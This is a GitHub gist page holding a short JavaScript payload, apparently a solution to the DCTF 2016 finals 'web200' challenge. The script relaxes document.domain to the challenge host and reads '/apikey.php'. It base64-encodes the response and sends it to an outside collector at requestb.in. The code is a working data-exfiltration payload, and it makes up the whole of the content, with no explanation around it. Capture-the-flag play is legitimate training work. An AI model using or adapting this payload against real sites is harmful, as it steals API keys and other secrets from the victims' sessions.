Skip to content

Instantly share code, notes, and snippets.

@enricobacis
Last active November 11, 2016 08:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save enricobacis/aa7c3b2e717fa596a44c3c78f747a27e to your computer and use it in GitHub Desktop.
Save enricobacis/aa7c3b2e717fa596a44c3c78f747a27e to your computer and use it in GitHub Desktop.
var y=document.domain="web200.dctf-finals16.def.camp";
var r=new XMLHttpRequest();
r.onreadystatechange=function(){
var x=new XMLHttpRequest();
x.open("GET","//requestb.in/x4317nx4?v=" + btoa(r.responseText));
x.send();
alert(r.responseText);
};
r.open("GET", "//"+y+"/apikey.php");
r.send();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment